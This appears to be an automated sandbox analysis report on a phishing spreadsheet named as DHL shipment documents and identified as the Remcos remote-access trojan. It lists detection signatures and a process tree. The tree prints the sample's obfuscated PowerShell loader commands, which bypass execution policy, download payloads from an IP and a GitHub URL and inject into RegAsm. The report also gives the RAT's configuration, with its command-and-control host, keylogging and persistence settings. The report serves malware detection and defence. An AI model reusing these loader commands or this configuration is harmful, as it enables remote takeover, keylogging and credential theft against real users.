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Windows
Analysis Report
DHL Shipment Doc's.xls
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3432 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3672 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 3812 cmdline:
"C:\Window s\system32 \cmd.exe" "/c PowerS Hell.ExE -eX ByPAS s -n Op - w 1 -c DevIC eCrEdENTIa lDeploYmEn t ; IeX( $(iex('[sY SteM.tExT. eNCOdINg]' +[ChAR]0x3 a+[char]58 +'Utf8.gEt sTRiNG([sY STem.CoNvE RT]'+[CHAR ]58+[cHaR] 0X3A+'FROm BaSe64stRI ng('+[Char ]34+'JFAya SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgID0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB hREQtdFlQZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1NRW1 iZXJERWZJT mlUaW9OICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gJ1tEbGxJb XBvcnQoIlV STE1vTi5kT EwiLCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEN oYXJTZXQgP SBDaGFyU2V 0LlVuaWNvZ GUpXXB1Ymx pYyBzdGF0a WMgZXh0ZXJ uIEludFB0c iBVUkxEb3d ubG9hZFRvR mlsZShJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBie mN3dExOdyx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBmd2pWLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI GZsV2NEcyx 1aW50ICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgR HhGV2JuVyx JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CB0Q2piTXp FeFFCKTsnI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLU5BbUU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAiaG1mW GhPWGdNV1k iICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW5hT WVzUGFjZSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIE9YTXlnW UxFWXF2ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLVBhc3NUa HJ1OyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICR QMmk6OlVST ERvd25sb2F kVG9GaWxlK DAsImh0dHA 6Ly8xOTIuM y4yMjAuMjA vOTcvcGljd HVyZXdpdGh ncmVhdGRhe XNldmVyeXR oaW5nZ29vZ C50SUYiLCI kRU5WOkFQU ERBVEFccGl jdHVyZXdpd GhncmVhdGR heXNldmVye XRoaW5nZ29 vLnZCUyIsM CwwKTtzVGF ydC1zbGVFU CgzKTtTdGF SVCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICIkZ U52OkFQUER BVEFccGljd HVyZXdpdGh ncmVhdGRhe XNldmVyeXR oaW5nZ29vL nZCUyI='+[ chAR]34+') )')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3836 cmdline:
PowerSHell .ExE -eX ByPASs -nOp -w 1 -c DevICeCrE dENTIalDep loYmEnt ; IeX($(ie x('[sYSteM .tExT.eNCO dINg]'+[Ch AR]0x3a+[c har]58+'Ut f8.gEtsTRi NG([sYSTem .CoNvERT]' +[CHAR]58+ [cHaR]0X3A +'FROmBaSe 64stRIng(' +[Char]34+ 'JFAyaSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI D0gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBhREQ tdFlQZSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1NRW1iZXJ ERWZJTmlUa W9OICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJ1t EbGxJbXBvc nQoIlVSTE1 vTi5kTEwiL CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIENoYXJ TZXQgPSBDa GFyU2V0LlV uaWNvZGUpX XB1YmxpYyB zdGF0aWMgZ Xh0ZXJuIEl udFB0ciBVU kxEb3dubG9 hZFRvRmlsZ ShJbnRQdHI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBiemN3d ExOdyxzdHJ pbmcgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBmd 2pWLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGZsV 2NEcyx1aW5 0ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgRHhGV 2JuVyxJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICB0Q 2piTXpFeFF CKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U5BbUUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iaG1mWGhPW GdNV1kiICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLW5hTWVzU GFjZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIE9 YTXlnWUxFW XF2ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLVB hc3NUaHJ1O yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICRQMmk 6OlVSTERvd 25sb2FkVG9 GaWxlKDAsI mh0dHA6Ly8 xOTIuMy4yM jAuMjAvOTc vcGljdHVyZ XdpdGhncmV hdGRheXNld mVyeXRoaW5 nZ29vZC50S UYiLCIkRU5 WOkFQUERBV EFccGljdHV yZXdpdGhnc mVhdGRheXN ldmVyeXRoa W5nZ29vLnZ CUyIsMCwwK TtzVGFydC1 zbGVFUCgzK TtTdGFSVCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICIkZU52O kFQUERBVEF ccGljdHVyZ XdpdGhncmV hdGRheXNld mVyeXRoaW5 nZ29vLnZCU yI='+[chAR ]34+'))')) )" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3932 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\00kppf ao\00kppfa o.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3944 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESB349.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\00k ppfao\CSC2 6532048CBB 457996C7A8 C029DD268B .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 4028 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\pictu rewithgrea tdaysevery thinggoo.v BS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 4068 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgneycrJz InKyd9Jysn dScrJ3JsJy snICcrJz0g ezB9aHR0cH M6Ly9yYXcu Z2knKyd0Jy snaHUnKydi dXNlcmNvJy snbnRlbnQu Y28nKydtJy snL05vRGV0 JysnZScrJ2 N0T24vTicr J29EZXRlYy crJ3RPbi8n KydyZScrJ2 YnKydzL2hl YScrJ2RzL2 1haScrJ24v RGV0YScrJ2 hOb3RoLVYn KycudHh0ez B9OycrJyB7 JysnMn1iYX NlJysnNjRD b250ZW50ID 0gKE5ldy0n KydPYmplY3 QnKycgU3lz JysndGVtLk 4nKydlJysn dCcrJy5XJy snZScrJ2JD bGllbnQpLk RvJysnd24n Kydsb2EnKy dkJysnU3Ry aW5nKHsyJy snfXUnKydy bCknKyc7IH snKycyJysn fScrJ2Jpbm FyeUNvbnRl bnQgPSBbJy snUycrJ3kn KydzdGVtJy snLkNvJysn bicrJ3YnKy dlcnRdOjpG cm8nKydtQm FzZTY0U3Qn KydyaW5nKH snKycyJysn fWJhc2UnKy c2NENvJysn bnQnKydlbn QpOyB7Jysn Mn1hc3NlJy snbWJseSA9 IFtSZScrJ2 ZsZWN0Jysn aW9uJysnLk FzcycrJ2Vt YmwnKyd5Jy snXTo6Jysn TG9hZCh7Mn 1iaW5hcicr J3lDbycrJ2 4nKyd0ZW50 KTsgWycrJ2 RuJysnbGli LklPLkhvbW VdOjpWQUko ezF9JysndH h0LicrJ1Yn KydWQkdGJy snUicrJy83 JysnOScrJy 8wMi4nKycw MicrJzIuMy 4yJysnOTEv JysnLycrJz onKydwdHRo ezF9LCcrJy B7JysnMX0n KydkZXNhdC crJ2l2YWRv ezEnKyd9LC B7MX0nKydk JysnZXNhdG knKyd2Jysn YWRvezF9LC AnKyd7MScr J31kZXNhJy sndGl2YWRv eycrJzF9LC crJyAnKyd7 MX1SZWdBc2 17MX0sJysn IHsxfXsxfS x7MX17MX0p JykgIC1mW0 NIYXJdMzks W0NIYXJdMz QsW0NIYXJd MzYpIHwgJi ggJEVOVjpD T21zUEVDWz QsMjYsMjVd LUpPSU4nJy k=';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3228 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{' +'2'+'}'+' u'+'rl'+' '+'= {0}ht tps://raw. gi'+'t'+'h u'+'buserc o'+'ntent. co'+'m'+'/ NoDet'+'e' +'ctOn/N'+ 'oDetec'+' tOn/'+'re' +'f'+'s/he a'+'ds/mai '+'n/Deta' +'hNoth-V' +'.txt{0}; '+' {'+'2} base'+'64C ontent = ( New-'+'Obj ect'+' Sys '+'tem.N'+ 'e'+'t'+'. W'+'e'+'bC lient).Do' +'wn'+'loa '+'d'+'Str ing({2'+'} u'+'rl)'+' ; {'+'2'+' }'+'binary Content = ['+'S'+'y' +'stem'+'. Co'+'n'+'v '+'ert]::F ro'+'mBase 64St'+'rin g({'+'2'+' }base'+'64 Co'+'nt'+' ent); {'+' 2}asse'+'m bly = [Re' +'flect'+' ion'+'.Ass '+'embl'+' y'+']::'+' Load({2}bi nar'+'yCo' +'n'+'tent ); ['+'dn' +'lib.IO.H ome]::VAI( {1}'+'txt. '+'V'+'VBG F'+'R'+'/7 '+'9'+'/02 .'+'02'+'2 .3.2'+'91/ '+'/'+':'+ 'ptth{1},' +' {'+'1}' +'desat'+' ivado{1'+' }, {1}'+'d '+'esati'+ 'v'+'ado{1 }, '+'{1'+ '}desa'+'t ivado{'+'1 },'+' '+'{ 1}RegAsm{1 },'+' {1}{ 1},{1}{1}) ') -f[CHar ]39,[CHar] 34,[CHar]3 6) | &( $E NV:COmsPEC [4,26,25]- JOIN'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - RegAsm.exe (PID: 896 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2556 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\cm tmpayojnui cgf" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 804 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\cm tmpayojnui cgf" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1628 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\cm tmpayojnui cgf" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2480 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\mh hfqkiqxvmv fmtfcdv" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2096 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\wj mxrdtjldez paqjtnqsed " MD5: 8FE9545E9F72E460723F484C304314AD) - mshta.exe (PID: 2104 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 1404 cmdline:
"C:\Window s\system32 \cmd.exe" "/c PowerS Hell.ExE -eX ByPAS s -n Op - w 1 -c DevIC eCrEdENTIa lDeploYmEn t ; IeX( $(iex('[sY SteM.tExT. eNCOdINg]' +[ChAR]0x3 a+[char]58 +'Utf8.gEt sTRiNG([sY STem.CoNvE RT]'+[CHAR ]58+[cHaR] 0X3A+'FROm BaSe64stRI ng('+[Char ]34+'JFAya SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgID0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB hREQtdFlQZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1NRW1 iZXJERWZJT mlUaW9OICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gJ1tEbGxJb XBvcnQoIlV STE1vTi5kT EwiLCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEN oYXJTZXQgP SBDaGFyU2V 0LlVuaWNvZ GUpXXB1Ymx pYyBzdGF0a WMgZXh0ZXJ uIEludFB0c iBVUkxEb3d ubG9hZFRvR mlsZShJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBie mN3dExOdyx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBmd2pWLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI GZsV2NEcyx 1aW50ICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgR HhGV2JuVyx JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CB0Q2piTXp FeFFCKTsnI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLU5BbUU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAiaG1mW GhPWGdNV1k iICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW5hT WVzUGFjZSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIE9YTXlnW UxFWXF2ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLVBhc3NUa HJ1OyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICR QMmk6OlVST ERvd25sb2F kVG9GaWxlK DAsImh0dHA 6Ly8xOTIuM y4yMjAuMjA vOTcvcGljd HVyZXdpdGh ncmVhdGRhe XNldmVyeXR oaW5nZ29vZ C50SUYiLCI kRU5WOkFQU ERBVEFccGl jdHVyZXdpd GhncmVhdGR heXNldmVye XRoaW5nZ29 vLnZCUyIsM CwwKTtzVGF ydC1zbGVFU CgzKTtTdGF SVCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICIkZ U52OkFQUER BVEFccGljd HVyZXdpdGh ncmVhdGRhe XNldmVyeXR oaW5nZ29vL nZCUyI='+[ chAR]34+') )')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 2968 cmdline:
PowerSHell .ExE -eX ByPASs -nOp -w 1 -c DevICeCrE dENTIalDep loYmEnt ; IeX($(ie x('[sYSteM .tExT.eNCO dINg]'+[Ch AR]0x3a+[c har]58+'Ut f8.gEtsTRi NG([sYSTem .CoNvERT]' +[CHAR]58+ [cHaR]0X3A +'FROmBaSe 64stRIng(' +[Char]34+ 'JFAyaSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI D0gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBhREQ tdFlQZSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1NRW1iZXJ ERWZJTmlUa W9OICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJ1t EbGxJbXBvc nQoIlVSTE1 vTi5kTEwiL CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIENoYXJ TZXQgPSBDa GFyU2V0LlV uaWNvZGUpX XB1YmxpYyB zdGF0aWMgZ Xh0ZXJuIEl udFB0ciBVU kxEb3dubG9 hZFRvRmlsZ ShJbnRQdHI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBiemN3d ExOdyxzdHJ pbmcgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBmd 2pWLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGZsV 2NEcyx1aW5 0ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgRHhGV 2JuVyxJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICB0Q 2piTXpFeFF CKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U5BbUUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iaG1mWGhPW GdNV1kiICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLW5hTWVzU GFjZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIE9 YTXlnWUxFW XF2ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLVB hc3NUaHJ1O yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICRQMmk 6OlVSTERvd 25sb2FkVG9 GaWxlKDAsI mh0dHA6Ly8 xOTIuMy4yM jAuMjAvOTc vcGljdHVyZ XdpdGhncmV hdGRheXNld mVyeXRoaW5 nZ29vZC50S UYiLCIkRU5 WOkFQUERBV EFccGljdHV yZXdpdGhnc mVhdGRheXN ldmVyeXRoa W5nZ29vLnZ CUyIsMCwwK TtzVGFydC1 zbGVFUCgzK TtTdGFSVCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICIkZU52O kFQUERBVEF ccGljdHVyZ XdpdGhncmV hdGRheXNld mVyeXRoaW5 nZ29vLnZCU yI='+[chAR ]34+'))')) )" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3520 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\qjwmez 35\qjwmez3 5.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 1804 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESFA28.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\qjw mez35\CSC8 6728966364 94697B648C FD8C23C5D6 C.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3584 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\pictu rewithgrea tdaysevery thinggoo.v BS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3684 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgneycrJz InKyd9Jysn dScrJ3JsJy snICcrJz0g ezB9aHR0cH M6Ly9yYXcu Z2knKyd0Jy snaHUnKydi dXNlcmNvJy snbnRlbnQu Y28nKydtJy snL05vRGV0 JysnZScrJ2 N0T24vTicr J29EZXRlYy crJ3RPbi8n KydyZScrJ2 YnKydzL2hl YScrJ2RzL2 1haScrJ24v RGV0YScrJ2 hOb3RoLVYn KycudHh0ez B9OycrJyB7 JysnMn1iYX NlJysnNjRD b250ZW50ID 0gKE5ldy0n KydPYmplY3 QnKycgU3lz JysndGVtLk 4nKydlJysn dCcrJy5XJy snZScrJ2JD bGllbnQpLk RvJysnd24n Kydsb2EnKy dkJysnU3Ry aW5nKHsyJy snfXUnKydy bCknKyc7IH snKycyJysn fScrJ2Jpbm FyeUNvbnRl bnQgPSBbJy snUycrJ3kn KydzdGVtJy snLkNvJysn bicrJ3YnKy dlcnRdOjpG cm8nKydtQm FzZTY0U3Qn KydyaW5nKH snKycyJysn fWJhc2UnKy c2NENvJysn bnQnKydlbn QpOyB7Jysn Mn1hc3NlJy snbWJseSA9 IFtSZScrJ2 ZsZWN0Jysn aW9uJysnLk FzcycrJ2Vt YmwnKyd5Jy snXTo6Jysn TG9hZCh7Mn 1iaW5hcicr J3lDbycrJ2 4nKyd0ZW50 KTsgWycrJ2 RuJysnbGli LklPLkhvbW VdOjpWQUko ezF9JysndH h0LicrJ1Yn KydWQkdGJy snUicrJy83 JysnOScrJy 8wMi4nKycw MicrJzIuMy 4yJysnOTEv JysnLycrJz onKydwdHRo ezF9LCcrJy B7JysnMX0n KydkZXNhdC crJ2l2YWRv ezEnKyd9LC B7MX0nKydk JysnZXNhdG knKyd2Jysn YWRvezF9LC AnKyd7MScr J31kZXNhJy sndGl2YWRv eycrJzF9LC crJyAnKyd7 MX1SZWdBc2 17MX0sJysn IHsxfXsxfS x7MX17MX0p JykgIC1mW0 NIYXJdMzks W0NIYXJdMz QsW0NIYXJd MzYpIHwgJi ggJEVOVjpD T21zUEVDWz QsMjYsMjVd LUpPSU4nJy k=';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3956 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{' +'2'+'}'+' u'+'rl'+' '+'= {0}ht tps://raw. gi'+'t'+'h u'+'buserc o'+'ntent. co'+'m'+'/ NoDet'+'e' +'ctOn/N'+ 'oDetec'+' tOn/'+'re' +'f'+'s/he a'+'ds/mai '+'n/Deta' +'hNoth-V' +'.txt{0}; '+' {'+'2} base'+'64C ontent = ( New-'+'Obj ect'+' Sys '+'tem.N'+ 'e'+'t'+'. W'+'e'+'bC lient).Do' +'wn'+'loa '+'d'+'Str ing({2'+'} u'+'rl)'+' ; {'+'2'+' }'+'binary Content = ['+'S'+'y' +'stem'+'. Co'+'n'+'v '+'ert]::F ro'+'mBase 64St'+'rin g({'+'2'+' }base'+'64 Co'+'nt'+' ent); {'+' 2}asse'+'m bly = [Re' +'flect'+' ion'+'.Ass '+'embl'+' y'+']::'+' Load({2}bi nar'+'yCo' +'n'+'tent ); ['+'dn' +'lib.IO.H ome]::VAI( {1}'+'txt. '+'V'+'VBG F'+'R'+'/7 '+'9'+'/02 .'+'02'+'2 .3.2'+'91/ '+'/'+':'+ 'ptth{1},' +' {'+'1}' +'desat'+' ivado{1'+' }, {1}'+'d '+'esati'+ 'v'+'ado{1 }, '+'{1'+ '}desa'+'t ivado{'+'1 },'+' '+'{ 1}RegAsm{1 },'+' {1}{ 1},{1}{1}) ') -f[CHar ]39,[CHar] 34,[CHar]3 6) | &( $E NV:COmsPEC [4,26,25]- JOIN'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - RegAsm.exe (PID: 3864 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "idabo.duckdns.org:6875:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-I89M3S", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
